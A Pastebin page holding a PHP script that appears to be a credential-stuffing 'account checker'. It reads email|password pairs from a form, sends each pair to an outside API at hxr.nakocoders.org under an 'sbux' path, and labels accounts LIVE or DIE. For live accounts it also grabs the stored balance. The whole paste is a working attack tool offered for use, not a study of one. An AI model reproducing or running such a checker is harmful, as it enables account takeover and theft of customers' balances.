Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- date_default_timezone_set("Asia/Jakarta");
- $format = $_POST['mailpass'];
- $pisah = explode("|", $format);
- $sock = $_POST['sock'];
- $hasil = array();
- if (!isset($format)) {
- header('location: ./');
- exit;
- }
- require 'includes/class_curl.php';
- if (isset($format)){
- // cek wrong
- if ($pisah[1] == '' || $pisah[1] == null) {
- die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
- }
- $curl = new curl();
- $curl->cookies('simpan/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
- $curl->ssl(0, 2);
- $url = "https://hxr.nakocoders.org/api/sbux/api.php?emailna={$pisah[0]}&passwordna={$pisah[1]}";
- $page = $curl->get($url);
- if ($page) {
- $token = getStr($page,'<input type="hidden" name="token" value="','" />');
- $page = $curl->post($url);
- if (inStr($page, "Account Die")) {
- die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
- } else if (inStr($page, "LIVE")) {
- // Grab Username
- $page_saldo = $curl->get("https://hxr.nakocoders.org/api/sbux/api.php?emailna={$pisah[0]}&passwordna={$pisah[1]}");
- $string_saldo = getStr($page_saldo, '#009933','</font');
- $potong = substr($string_saldo,2);
- if ($string_saldo == null) {
- $saldo = "No Balance | ";
- } else {
- $saldo = "<b>Saldo : $potong</b> |";
- }
- $result = array();
- $result['error'] = 0;
- $result['msg'] = '<font color=green><b>LIVE</b></font> | '.$pisah[0].' | '.$pisah[1].' | '.$saldo.' [ACC:SBUX]';
- die(json_encode($result));
- } else {
- die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].'"}');
- }
- } else {
- die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$pisah[0].' | '.$pisah[1].' | Unable to connect Sbux"}');
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment